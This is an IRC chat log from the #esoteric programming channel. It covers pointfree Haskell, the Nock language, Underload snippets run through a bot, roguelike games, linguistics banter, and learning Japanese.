23:47:23 <elliott> ...what?!
23:47:33 <elliott> @pl let f x = if x == Cons POOP Nil then Nil else Cons POOP (Cons POOP (f (tail (tail x)))) in f
23:47:33 <lambdabot> fix (ap (flip if' Nil . (Cons POOP Nil ==)) . ((Cons POOP . Cons POOP) .) . (. (tail . tail)))
23:47:36 <elliott> FINALLY
23:47:54 <elliott> fix (ap (flip if' [] . ([()] ==)) . (((:) () . (:) ()) .) . (. (tail . tail)))
23:47:56 <elliott> that's kinda ugly
23:47:57 <elliott> oerjan: deugly that
23:50:33 <oerjan> elliott: "tail"
23:50:51 <elliott> oerjan: ...:D
23:50:53 <elliott> oerjan: VERY GOOD POINT
23:51:05 <elliott> oerjan: the point is that it works in a language where you can't decrement
23:52:27 <oerjan> also, "init" may be closer to the spirit of it
23:53:18 <oerjan> elliott: oh. also it's buggy.
23:53:26 <oerjan> it will fail on even length lists
23:53:32 <elliott> oerjan: *you're* buggy.
23:54:01 <elliott> oerjan: but well. :p
23:54:07 <elliott> oerjan: i was inspired by your talking with olsner actually.
23:55:39 * oerjan may have already forgotten that
23:58:11 <elliott> oerjan: base-e/base-pi cat language
23:58:14 <elliott> ages ago
23:58:15 <elliott> months
23:59:10 <oerjan> huh
23:59:32 <elliott> oerjan: because you mentioned increment and decrement being the only fast operations
23:59:40 <elliott> but in Nock, decrement is O(n)
23:59:45 <elliott> because itw orks like my recursive function
23:59:45 <elliott> *it works
2011-02-02
00:00:03 <oerjan> nock?
00:00:46 <elliott> oerjan: http://moronlab.blogspot.com/2010/01/nock-maxwells-equations-of-software.html, continued in http://moronlab.blogspot.com/2010/01/urbit-functional-programming-from.html; relevantly, http://moronlab.blogspot.com/2010/01/decrement-in-reck.html
00:00:52 <elliott> the first and the last are all you are likely to be interested in
00:02:52 -!- SimonRC has quit (Ping timeout: 265 seconds).
00:03:02 <oerjan> eek
00:04:14 <Sgeo> Blah at Nu being a very much non-Windows thing
00:05:20 <elliott> oerjan: why eek :)
00:05:51 <oerjan> that's the sound of my brain going "too much work"
00:06:25 <elliott> oerjan: well i think decrement is quite simple
00:07:03 <elliott> if you can get a conditional going, and recursion
00:07:21 <elliott> also you have to construct the f such that *[s f] does it, not anything simpler :P
00:07:24 <elliott> i think the language is postfix kinda
00:13:28 <elliott> 12:51:02 <AnMaster> also -fpic NOT -fPIC
00:13:28 <elliott> 12:51:15 <AnMaster> the lower case version is better on some platforms iirc
00:13:29 <elliott> _what_
00:13:55 -!- copumpkin has joined.
00:14:05 -!- augur has quit (Remote host closed the connection).
00:14:17 <elliott> 12:56:11 <AnMaster> pikhq, well the difference is slight
00:14:17 <elliott> 12:56:18 <AnMaster> also x86-64 is the norm nowdyas
00:14:18 <elliott> 12:56:21 <AnMaster> days*
00:14:18 <elliott> 12:56:25 <AnMaster> for linux
00:14:18 <elliott> maybe in Vorpal-land...
00:14:44 <quintopia> when was this?
00:15:07 <elliott> 10.02.01
00:15:38 <elliott> 13:04:06 <AnMaster> <cpressey> At any rate, it's built. best not to think any more about it, right? :) <-- wrong. You always try to figure out *why* something unexpected happened
00:15:39 <elliott> maybe in Vorpal-land...
00:21:04 -!- BeholdMyGlory has quit (Read error: Operation timed out).
00:21:47 -!- BeholdMyGlory has joined.
00:22:02 <elliott> 09:27:44 <MissPiggy> FP is STUPID!!!!!!
00:22:03 <elliott> 09:28:02 <MissPiggy> anyone that wants to do functional programming without LAMBDA has lots his MARBLES
00:22:03 <elliott> 09:28:19 <MissPiggy> it's no coindicendec that LAMBDA is an anagram of MARBLES
00:22:20 <elliott> oerjan: you know, i don't think j-invariant is coming back...
00:23:39 -!- augur has joined.
00:27:42 <quintopia> elliott: I have lots my MARBLES
00:29:33 <Sgeo> quintopia, fun game
00:29:53 <quintopia> sgeo: no
00:30:08 <Sgeo> http://www.youtube.com/watch?v=xSJBeV2hNUE
00:31:38 -!- pingveno has quit (Ping timeout: 276 seconds).
00:31:55 <Sgeo> The music in that video is unfamiliar to me
00:32:53 <cheater-> A closed door
00:32:53 <cheater-> is a rather obvious obstacle to any adventurer, but there are several
00:32:53 <cheater-> ways to deal with one. Probably the most obvious method of getting
00:32:53 <cheater-> past a door is to try to open it; to do that, just try to walk into it
00:32:57 <cheater-> OKAY
00:33:03 -!- pingveno has joined.
00:33:03 <cheater-> I FIND NETHACK IS NOT VERY REALISTIC
00:34:06 <oerjan> THAT'S JUST BECAUSE YOU HAVEN'T TESTED THAT METHOD ON SUFFICIENTLY MANY _REAL_ DOORS
00:34:12 <quintopia> i find *insert video game* not very realistic
00:34:19 <cheater-> oerjan: i have.
00:34:25 <cheater-> oerjan: usually doesn't work :(
00:34:56 <oerjan> yes, but if you do it _enough_ times, head first, i'm sure your sense of reality will start adjusting.
00:35:28 <oerjan> the door might need some new hinges too
00:36:00 -!- SimonRC has joined.
00:36:50 <quintopia> oerjan: if it works in nethack, it works on the first try
00:37:15 <quintopia> conclusion: nethack adventurer is THE JUGGERNAUT, BITCH
00:38:08 -!- elliott has quit (Ping timeout: 265 seconds).
00:38:09 <oerjan> it works on the first try in reality too. it's the repetitions that are a bitch.
00:38:20 <oerjan> ^ deep truth
00:38:35 <Sgeo> "Will you please stop saying you're sorry?" "Sorry"
00:38:40 <Sgeo> I can imagine doing that myself
00:40:24 -!- poiuy_qwert has joined.
00:41:20 <quintopia> sgeo: are you watching M*A*S*H?
00:41:26 * oerjan guesses today's square root of minus garfield was also inevitable.
00:41:57 <pikhq> ... \sqrt{-garfield}?
00:42:06 <oerjan> yes.
00:42:12 <oerjan> http://www.mezzacotta.net/garfield/
00:42:24 <Sgeo> quintopia, DS9
00:43:05 <Vorpal> summary of dwarf fortress after having played it for an afternoon: kind of like minecraft but with the micromanagement of widelands and the difficulty and GUI of nethack
00:43:07 <quintopia> oerjan: do they frequently feature bad puns?
00:43:23 <Vorpal> or should I say UI rather than GUI perhaps
00:43:27 <pikhq> Oh my goodness.
00:43:39 <oerjan> quintopia: they have an overly long gag based on the format you see there
00:43:45 <oerjan> so yes.
00:43:51 <oerjan> and other puns too, probably
00:43:52 <Vorpal> pikhq, you never heard of \sqrt{-garfield} before?
00:43:58 -!- cheater00 has joined.
00:44:17 <Sgeo> If I tell pikhq to read the entire Mezzacotta archive, will he do it?
00:44:35 <oerjan> no. he might _try_, perhaps.
00:45:25 <pikhq> http://www.mezzacotta.net/garfield/?comic=9 *grin*
00:45:29 <pikhq> Sgeo: Not only no but fuck no.
00:45:48 <pikhq> Sgeo: I am not infinitely prolonged.
00:45:57 * Sgeo hears his dad shouting on the phone at his step-mom
00:46:04 <pikhq> Vorpal: Nope.
00:47:05 -!- cheater- has quit (Ping timeout: 240 seconds).
00:48:26 <Vorpal> pikhq, huh. I was pretty sure you took part of discussions mentioning it before...
00:48:51 <pikhq> Nope.
00:50:16 -!- azaq23 has quit (Quit: Leaving.).
01:02:02 -!- cal153 has quit (Ping timeout: 246 seconds).
01:06:13 -!- BeholdMyGlory has quit (Ping timeout: 240 seconds).
01:08:54 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
01:10:31 -!- poiuy_qwert has joined.
01:27:01 -!- augur has quit (Remote host closed the connection).
01:31:25 -!- cal153 has joined.
01:38:54 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
01:40:01 <Sgeo> Can I make fun of coppro now?
01:40:32 -!- poiuy_qwert has joined.
01:47:06 <variable> "On a clear disk, you can seek forever." -- HP-UX manual, circa 1985
01:50:17 <variable> http://cacm.acm.org/magazines/2011/2/104395-puzzled-parsing-partitions
01:50:22 <variable> interesting article
01:54:28 -!- augur has joined.
01:58:52 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
02:00:30 -!- poiuy_qwert has joined.
02:06:47 -!- tswett has joined.
02:06:52 <tswett> How do I ask this question in Finnish?
02:07:12 <oerjan> `translatefromto en fi How do I ask this question in Finnish?
02:07:12 <tswett> (Heimo, Herobrine. Even though "heimo" isn't a greeting.)
02:07:32 <HackEgo> Miten kysyä tätä kysymystä suomeksi?
02:08:11 <oerjan> LOOKS PLAUSIBLE
02:09:00 <tswett> Hm, I like what "mys" means in Swedish. What's the equivalent Norwegian word?
02:09:17 <oerjan> `translatefromto sv en mys
02:09:19 <HackEgo> mys
02:09:31 <tswett> Because it apparently means "coziness".
02:09:40 <oerjan> oh.
02:09:54 <oerjan> "kos", i suppose
02:11:07 <oerjan> `translatefromto sv no mysigt
02:11:08 <HackEgo> koselig
02:11:16 <tswett> That doesn't look like a cognate, but then again, the English word "do" doesn't look like the Spanish word "hacer" even though they are cognates.
02:11:33 <oerjan> um it's a cognate to "cozy", surely
02:11:36 <Lymia> This channel is full of natrual language geeks too?
02:11:36 <Lymia> :V
02:11:44 <hagb4rd> finnish is soo different
02:11:56 <oerjan> Lymia: there's even a real linguist here (hi augur)
02:11:58 <tswett> It doesn't look like one to "mys", though.
02:12:03 <hagb4rd> like from an other planet
02:12:06 <tswett> But yeah, it's almost certainly a cognate to "cozy".
02:12:10 <augur> oerjan: ohai
02:12:13 <Lymia> I thought people usually said that about Japanese.
02:12:17 <Lymia> Not Finnish.
02:12:26 <tswett> augur: hi! Are you one of those one-language linguists? Not that there's anything wrong with that, I'm just wondering.
02:12:39 <tswett> Lymia: people also say that Finnish is just a cipher of Japanese.
02:12:49 <oerjan> Lymia: there's a certain similarity between them, syllable structure and agglutination
02:13:00 <augur> tswett: what do you mean one language linguists
02:13:09 <oerjan> augur: THAT YOU ONLY SPEAK ENGLISH
02:13:12 <tswett> Monolingual linguists.
02:13:14 <tswett> What oerjan said.
02:13:23 <augur> oh, do i only speak one language? yes.
02:13:33 <Lymia> tswett, well.
02:13:35 <Lymia> I can say this.
02:13:40 <Lymia> I've never heard of that one before.
02:13:41 <Lymia> =p
02:13:55 <tswett> It seems... wise for a linguist to know multiple languages.
02:13:58 <Lymia> Then again, the non-computer science related communities I go to are usually anime related.
02:14:26 <tswett> But eh, if just knowing English works out for you.
02:14:39 <tswett> (An if-only sentence. There is no then, only an if.)
02:14:42 <oerjan> augur: i mean you blather on about syntactic typed calculi and stuff, but do you _ever_ discuss in japanese like the real geeks here? nope.
02:14:55 <augur> tswett: knowing another language isnt terribly important.
02:15:04 <augur> oerjan: no what
02:15:11 <augur> why would i discuss japanese
02:15:14 <augur> whats to discuss
02:15:21 <oerjan> augur: THAT'S A JOKE
02:15:41 <augur> sou ka
02:15:57 <oerjan> augur: although this outsider _does_ feel it's somewhat suspicious to call yourself a linguist without any _actual_ breadth of language experience
02:16:14 <augur> which outsider
02:16:19 <oerjan> <- this one
02:16:20 <tswett> Linguistics sure isn't *about* knowing lots of languages.
02:16:21 <augur> oh
02:16:26 <tswett> The one to oerjan's left.
02:16:29 <tswett> :P
02:16:35 <augur> well its not like i dont have experience with other languages
02:16:38 * oerjan swats tswett -----###
02:16:39 <hagb4rd> linguists are assholes
02:16:44 <oerjan> THAT ALMOST ALLITERATES
02:16:48 <augur> i just dont speak any well enough to say i speak them at all
02:16:59 <oerjan> hagb4rd: you mean they're talking out their asses?
02:17:22 <hagb4rd> they're talking out of anything they can
02:17:33 <hagb4rd> but theres no music in it
02:18:04 <tswett> But knowing only English for a linguist is like knowing only about cats for a biologist. Sure, lots of facts that are true of cats are true of life in general. But many are not; if you only study cats, you never know what might be present in other animals.
02:18:09 <oerjan> augur: good, good. i guess.
02:18:26 <hagb4rd> maybe i exaggerate a lil
02:18:30 <augur> tswett: whoa whoa you're making the wrong analogy
02:18:41 <augur> knowing only english for a linguist is like BEING only a human for a biologist
02:18:53 <tswett> I imagine I am; I'm not the linguist here.
02:19:01 <augur> i can tell you lots of things about other languages' grammars
02:19:18 <augur> more than most speakers know about the grammars
02:19:25 <augur> i just cant speak them
02:19:54 <tswett> Ah, then you do know other languages well, for the purposes that you use them for.
02:20:09 <augur> no, i dont _know_ them in any real sense
02:20:17 <augur> i know facts about them
02:20:23 <tswett> Right.
02:20:55 * oerjan is reminded of The Mathematician's Lament
02:21:01 <tswett> Lockhart's Lament?
02:21:02 <augur> just like lots of people know facts about caesar and brutus
02:21:08 <augur> but noone _knows_ caesar or brutus
02:21:15 <oerjan> *A
02:21:18 <oerjan> tswett: yes
02:21:22 <hagb4rd> sweez
02:21:26 <hagb4rd> -z+t
02:21:32 <hagb4rd> analogy
02:21:36 <tswett> I met Caesar once. I put him on my salad. He was delicious.
02:21:43 <hagb4rd> hehe
02:21:44 <tswett> hagb4rd: are you making an analogy out of my surname?
02:21:49 <oerjan> tswett: how brutal
02:21:56 <hagb4rd> should i?
02:22:04 <tswett> Yes, you should.
02:22:37 <hagb4rd> hehe
02:30:52 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
02:32:30 -!- poiuy_qwert has joined.
02:50:51 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
02:52:28 <Sgeo> http://manageddreams.com/osmpbb/
02:52:30 <Sgeo> I have a sad.
02:53:03 <quintopia> sgeo: is it blue with a gold stripe across the head?
02:53:14 <quintopia> i lost my sad a little while back, been looking all over for it
02:54:01 <oerjan> ^ul (:::***)(~(~(:a~*):^))~(a)~^^SS
02:54:02 <fungot> ((((~(~(:a~*):^))))) ...out of stack!
02:57:02 -!- Lymia_ has joined.
02:57:08 -!- Lymia has quit (Disconnected by services).
02:57:09 -!- Lymia_ has changed nick to Lymia.
02:57:10 -!- Lymia has quit (Changing host).
02:57:10 -!- Lymia has joined.
03:14:07 <oerjan> ^ul ((:::***)(~(~(:a~*):^))~(a)~^^())((:^(:)~*(*)*a~a~*(((T)(F))~*^(^)~^^^S!)~a*^)~:a~**^):^
03:14:07 <fungot> ((~(~(:a~*):^)))(~(~(:a~*):^))~(~(:a~*):^)~(:a~*):^(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a~*):a~*(:a ...too much output!
03:14:27 <oerjan> ^ul ((:::***)(~(~(:a~*):^))~(a)~^^())((:^(:)~*(*)*a~a~*(((T)(F))~*^(^)~^^^!S!)~a*^)~:a~**^):^
03:14:28 <fungot> FFFTFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ...out of time!
03:53:58 <Lymia> `-`
03:53:59 <HackEgo> No output.
03:56:27 <quintopia> you need to stop it with the ugly-ass backtick "face" or at least put a space in front of it
03:58:16 -!- augur has quit (Remote host closed the connection).
04:09:45 <kfr> <oerjan> [00:33:42] afaik we don't have any indians or chinese here, though
04:09:45 <kfr> <oerjan> [00:34:26] hm wait that was during european day wasn't it
04:09:58 <kfr> Uhm yeah it was night for east and south Asia by that time already
04:12:46 -!- Lymia has quit (Ping timeout: 240 seconds).
04:13:55 <oerjan> i think my mind triggered on the mention of "2 billions" --> china + india
04:15:15 <kfr> It was supposed to be Europe + Africa + west Asia :p
04:28:14 -!- augur has joined.
04:52:38 -!- poiuy_qwert has joined.
05:26:25 <Sgeo> "The enzo" wtf
05:26:36 <Sgeo> http://www.wrapanap.com/order.html
05:29:18 <oerjan> same color as the car?
05:30:46 * pikhq is too good at procrastination.
05:30:59 <pikhq> I have been home for 8 hours. I have done nothing so far.
05:31:07 <pikhq> 8. Fucking. Hours.
05:32:06 <copumpkin> pikhq: you could get outraged over sony's lawsuits a bit more
05:32:17 <copumpkin> that's a fairly productive pastime
05:32:27 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
05:34:17 -!- poiuy_qwert has joined.
05:36:07 <pikhq> copumpkin: Nothing new on that front, so *shrug*
05:36:18 <Sgeo> Why is there a car named after the Active Worlds CEO?
05:37:27 <Sgeo> http://wiki.activeworlds.com/index.php?title=User:E_N_Z_O&oldid=18626
05:37:55 <pikhq> Ah, Anki, how you make it so easy for a having-done-nothing day to have actual accomplishments in it.
05:38:29 <Sgeo> Anki?
05:38:46 <Sgeo> flashcards?
05:39:30 <pikhq> Anki is a fairly good SRS (spaced repetition system) program...
05:39:35 <pikhq> I use it for studying Japanese.
05:40:06 <pikhq> Yes, flashcards with an algorithm that prevents you from wasting too much time.
05:40:49 <pikhq> Basically, it attempts to model when you're likely to forget a card, so that it only shows up when seeing the card will actually be helpful.
05:41:02 <pikhq> Rather than, say, showing the same damned cards every day.
05:45:44 <pikhq> I find it almost *necessary* for learning kanji.
05:48:43 <Sgeo> Well
05:48:50 <Sgeo> I'm not going to be a double red cell donor
05:49:17 -!- benmoreassynt has joined.
05:50:36 -!- benmoreassynt has left (?).
05:54:26 <pikhq> copumpkin: BTW, thank you so much for cluing me in on Heisig. It's been about a year since, and, well, it's been amazing.
05:54:34 <Sgeo> Heisig?
05:54:45 <pikhq> Sgeo: Heisig's "Remembering the Kanji".
05:54:50 <Sgeo> oh
05:54:54 <pikhq> Sgeo: Also essential.
05:55:17 <pikhq> Sgeo: Learn (roughly) the meaning and (exactly) the writing of the commonly used kanji!
05:55:56 <copumpkin> pikhq: no problem :) glad you made it through it! that's more than I did :P
05:56:11 <pikhq> Sgeo: I've gone from struggling to understand stuff for 2nd graders to struggling to understand ja.wikipedia.org courtesy of that.
05:56:47 <pikhq> And I read untranslated manga for pleasure now. Yay.
05:57:03 <copumpkin> how's verbal?
05:57:15 <copumpkin> spoken japanese and grammar are actually pretty easy
05:57:31 <copumpkin> well, in some ways, anyway
05:57:36 <pikhq> copumpkin: Quite a bit below my reading comprehension, but it's improved by leaps and bounds.
06:02:45 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
06:04:20 -!- poiuy_qwert has joined.
06:18:14 <Sgeo> Why am I shocked by Moove still existing?
06:24:19 <Sgeo> http://www.youtube.com/watch?v=J5uptErhetY how did this embed itself into my subconsious so quickly that when I found it on YouTube, I was certain it was a different song
06:24:53 <Sgeo> No
06:24:55 <Sgeo> Hmm
06:25:15 <Sgeo> I meant I thought that I thought what was playing in my head when I f... argh
06:32:44 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
06:34:33 -!- poiuy_qwert has joined.
06:40:57 -!- asiekierka has joined.
06:45:23 -!- Zuu has quit (Read error: Connection reset by peer).
06:45:26 -!- Zuu_ has joined.
06:52:43 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
06:54:33 -!- poiuy_qwert has joined.
07:02:05 -!- hagb4rd has quit (Ping timeout: 240 seconds).
07:06:10 -!- FireFly has joined.
07:08:12 -!- hagb4rd has joined.
07:12:43 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
07:14:34 -!- poiuy_qwert has joined.
07:14:51 -!- hi2u has joined.
07:15:30 -!- hi2u has left (?).
07:22:35 -!- Zuu_ has quit (Read error: Connection reset by peer).
07:27:12 -!- Zuu has joined.
07:32:42 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
07:34:31 -!- poiuy_qwert has joined.
07:43:13 -!- evincar has joined.
07:43:56 <evincar> Well, here I am, more than twelve hours later than I planned.
07:45:00 <oerjan> that's relatively lousy timing for this channel
07:45:36 <oerjan> wait, do you mean you've been traveling or something?
07:49:56 * pikhq shall go to sleep.
07:52:06 <oerjan> ^ul (()~:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)(::**)~^
07:52:27 <oerjan> ^ul (()~:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)(::**)~^(~aS:^):^
07:52:27 <fungot> ((((~(~(:a~*):^)))))()((::**)~^)() ...out of stack!
07:52:51 -!- FireFly has quit (Quit: swatted to death).
07:54:55 <evincar> oerjan: No, I mean I told elliott to look at something I was talking about earlier with ais523, and that I'd be back in a couple hours after a nap. Twelve hours later...
07:55:03 <oerjan> heh
07:55:08 <evincar> ...though not nearly all of that time was sleeping.
07:58:34 -!- poiuy_qwert has quit (Read error: Operation timed out).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:01 -!- poiuy_qwert has joined.
08:04:32 <oerjan> ^ul (aS:):((:*)~^(::**)~^(:*)~^)^
08:04:32 <fungot> (:*)(::**)(:*)
08:05:24 <oerjan> ^ul (aS:):((:*)~^(::**)~^(:*)~^)^S
08:05:24 <fungot> (:*)(::**)(:*)aS:
08:05:46 <oerjan> ^ul (aS:):((:*)~^(::**)~^(:*)~^)^(aS:^):^
08:05:46 <fungot> (:*)(::**)(:*)(aS:^)(aS:)
08:06:06 <oerjan> ^ul (aS:):((:*)~^(::**)~^(:*)~^)^(~aS:^):^
08:06:06 <fungot> (:*)(::**)(:*)(aS:)(aS:) ...out of stack!
08:09:32 <evincar> Poor, poor fungot.
08:09:33 <fungot> evincar: it can say " make this a bit and watch it toast? or decide the project is quite quixotic. that being said, it comes to mobile code it has good parts and bad parts. the dynamic environment
08:09:53 <evincar> Thanks.
08:09:58 <evincar> Goodnight.
08:10:05 -!- evincar has quit (Quit: Toast...).
08:12:23 -!- aloril_ has quit (Read error: Connection reset by peer).
08:21:22 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
08:23:01 -!- poiuy_qwert has joined.
08:24:04 -!- aloril has joined.
08:25:26 -!- cheater00 has quit (Ping timeout: 240 seconds).
08:26:28 -!- cheater00 has joined.
08:29:14 <oerjan> ^ul (aS:):(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!Sa(~^)*~a*(:)*^)((:*)~^(::**)~^(:*)~^)^(~aS:^):^
08:29:14 <fungot> 2(:*) ...out of stack!
08:30:09 <oerjan> ^ul (aS:):(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!Sa(~^)*~a*(:)*^):((:*)~^(::**)~^(:*)~^)^(~aS:^):^
08:30:09 <fungot> 2(:*)3(::**)2(:*)(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!Sa(~^)*~a*(:)*^)(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!Sa(~^)*~a*(:)*^)(aS:)(aS:) ...out of stack!
08:32:18 <oerjan> ^ul (aS:):(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!Sa(~^)*~a*(:)*^):((:*)~^(!())~^(:*:*)~^)^(~aS:^):^
08:32:18 <fungot> 2(:*)0(!()) ...bad insn!
08:41:21 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
08:43:00 -!- poiuy_qwert has joined.
09:01:21 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
09:02:59 -!- poiuy_qwert has joined.
09:21:20 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
09:21:25 -!- cheater00 has quit (Ping timeout: 240 seconds).
09:22:59 -!- poiuy_qwert has joined.
09:23:33 -!- cheater00 has joined.
09:31:33 -!- oerjan has quit (Quit: leaving).
09:37:21 -!- poiuy_qwert has quit (Read error: Operation timed out).
09:40:12 -!- Tritonio has joined.
09:42:59 -!- poiuy_qwert has joined.
09:53:00 -!- hagb4rd has quit (Ping timeout: 240 seconds).
10:01:20 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:02:59 -!- poiuy_qwert has joined.
10:15:12 -!- Phantom_Hoover has joined.
10:18:32 -!- poiuy_qwert has quit (Read error: Operation timed out).
10:21:45 -!- poiuy_qwert has joined.
10:29:15 <Phantom_Hoover> 00:37:53 <elliott> oerjan: you know, i don't think j-invariant is coming back... ← we didn't think he was coming back when he was fax either.
10:29:51 <kfr> I know him from #haskell, was he a great contributor to this channel?
10:33:59 <Phantom_Hoover> That's a long story which I a) don't know the entirety of and b) can't be bothered recounting.
10:39:37 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:41:13 -!- poiuy_qwert has joined.
10:47:45 -!- cheater- has joined.
10:48:51 -!- cheater00 has quit (Ping timeout: 272 seconds).
10:52:20 -!- Tritonio has quit (Read error: Connection reset by peer).
10:59:37 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:01:13 -!- poiuy_qwert has joined.
11:19:37 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:21:13 -!- poiuy_qwert has joined.
11:29:56 -!- asiekierka has quit (Ping timeout: 276 seconds).
11:39:36 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:40:43 -!- copumpkin has quit (Ping timeout: 260 seconds).
11:41:10 -!- copumpkin has joined.
11:41:13 -!- poiuy_qwert has joined.
11:59:36 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
12:01:12 -!- poiuy_qwert has joined.
12:09:54 <Ilari> Haha... Lagerhom apparently tried to make countdown to first RIR depletion but apparently the code is quite buggy...
12:19:38 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
12:21:12 -!- poiuy_qwert has joined.
12:39:35 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
12:41:14 -!- poiuy_qwert has joined.
12:45:39 -!- sebbu2 has quit (Read error: Operation timed out).
12:46:06 -!- sebbu has joined.
12:54:51 -!- Deewiant has quit (Ping timeout: 255 seconds).
12:55:18 -!- Deewiant has joined.
12:59:01 -!- augur has quit (Remote host closed the connection).
12:59:35 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:01:14 -!- poiuy_qwert has joined.
13:07:45 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
13:19:35 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:21:16 -!- poiuy_qwert has joined.
13:23:59 -!- asiekierka has joined.
13:25:33 -!- poiuy_qwert has quit (Read error: Operation timed out).
13:29:42 -!- FireFly has joined.
13:39:13 -!- augur has joined.
13:46:02 -!- elliott has joined.
13:47:56 <elliott> 00:58:38 <Vorpal> summary of dwarf fortress after having played it for an afternoon: kind of like minecraft but with the micromanagement of widelands and the difficulty and GUI of nethack
13:48:05 <elliott> Vorpal: Er, DF is *much* more difficult than NetHack.
13:49:15 -!- ais523 has joined.
13:50:23 <elliott> 02:22:49 <tswett> (Heimo, Herobrine. Even though "heimo" isn't a greeting.)
13:50:25 <elliott> tswett: it's a bot
13:51:07 <elliott> 02:28:02 <tswett> augur: hi! Are you one of those one-language linguists? Not that there's anything wrong with that, I'm just wondering.
13:51:08 <elliott> and how many diseases do you have, resident doctor?
13:51:12 <elliott> hi ais523
13:51:17 <ais523> hi
13:51:30 <ais523> hmm, you know when I couldn't access anything?
13:51:51 <ais523> when the system started working again, programs were working but Gnome was frozen (the shell, that is)
13:51:51 <elliott> yes
13:51:53 <elliott> heh
13:51:59 <elliott> ais523: don't say Gnome and shell in the same sentence
13:52:01 <ais523> so I had to log out via control-alt-backspace to get anything done
13:52:25 <elliott> 02:31:34 <oerjan> augur: although this outsider _does_ feel it's somewhat suspicious to call yourself a linguist without any _actual_ breadth of language experience
13:52:30 <ais523> it seems that that didn't work properly, I just got an automated email to tell me that I'd left gnome-panel running for over two days and it was killed automatically
13:52:42 <elliott> again... "Asking a linguist how many languages they know is like asking a doctor how many diseases they have."
13:53:13 <elliott> (OK, it's a fairly stupid aphorism)
13:53:16 <elliott> (but it's amusing)
13:54:37 <ais523> hmm, with "linguist" there, the analogy does actually hold up
13:54:50 <ais523> except that a doctor would be trying to get rid of diseases they had
13:55:00 <ais523> and a linguist wouldn't have any motive to forget languages they happened to know
13:55:17 <ais523> (although they wouldn't have a massive motive to learn new ones either)
13:55:18 <elliott> ais523: linguist != someone who knows languages
13:55:30 <elliott> meanwhile, off-topically, http://www.digitalspy.co.uk/odd/news/a300850/diddy-sued-for-causing-911-attack.html
13:55:40 <elliott> well, I suppose it's rather esoteric
13:56:18 <ais523> <elliott> ais523: linguist != someone who knows languages <--- I know, what about my comment would have given a different impression?
13:56:32 <ais523> hmm, that URL is pretty freakish as it is
13:56:42 <ais523> and not just because of the random string of hex (or possibly, letter+decimal)
13:56:46 <elliott> "A woman named Valerie Turks filed the suit against Diddy, whose real name is Sean Combs, alleging that he was the cause behind the collapse of the World Trade Centre in 2001 and stole a poker chip from her worth "100 zillions of dollars"."
13:57:02 <elliott> "[Diddy] went through Kim Porter and Rodney King and knocked down the WTC and then they all came and knocked my children down. Set me up to be on disability and disabled my baby. He put my baby in a wheelchair," Billboard quotes Turks as saying in her legal papers.
13:57:15 <ais523> elliott: you get lawsuits that silly once in a while
13:57:25 <ais523> there was one during the SCO vs. Novell case
13:57:29 <elliott> "- -and then for lunch, I knocked down the World Trade Centre -- but anyway, how was your day?"
13:57:31 <elliott> *-- and
13:57:43 <elliott> (debate: is World Trade Centre a correct spelling?)
13:57:59 <ais523> (not SCO vs. Novell itself, although that was pretty silly as it was; someone who was in prison at the time decided to try to intervene in the case)
13:58:15 <elliott> "It all started with tarsorrhaphy. Really." --Google
13:58:27 <elliott> ais523: heh, on which side?
13:58:34 <Sgeo> I saw something on Fark saying that Wikipedia had a redirect...
13:58:38 <fizzie> "Turks, who is asking for $900 billion dollars in child support and $100 billion dollars for 'loss of income', --" -- well, that sounds eminently reasonable! You can hardly raise a child with less.
13:58:50 <elliott> [[We created about 100 “synthetic queries”—queries that you would never expect a user to type, such as [hiybbprqag]. As a one-time experiment, for each synthetic query we inserted as Google’s top result a unique (real) webpage which had nothing to do with the query. Below is an example:]]
13:58:51 <elliott> omg
13:58:59 <elliott> imagine finding those before they revealed it :D
13:59:00 <ais523> elliott: they wanted to replace SCO in the case, on the basis that they were being incompetent
13:59:06 <elliott> heh: http://www.google.com/search?q=hiybbprqag
13:59:19 <ais523> elliott: it returns genuine results now
13:59:20 <elliott> hiybbprqag.com goes to a Google job site now
13:59:23 <ais523> mostly talking about the story in question
13:59:40 -!- elliott has set topic: For the discussion of hiybbprqag and mbzrxpgjys | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
14:00:21 -!- augur has quit (Remote host closed the connection).
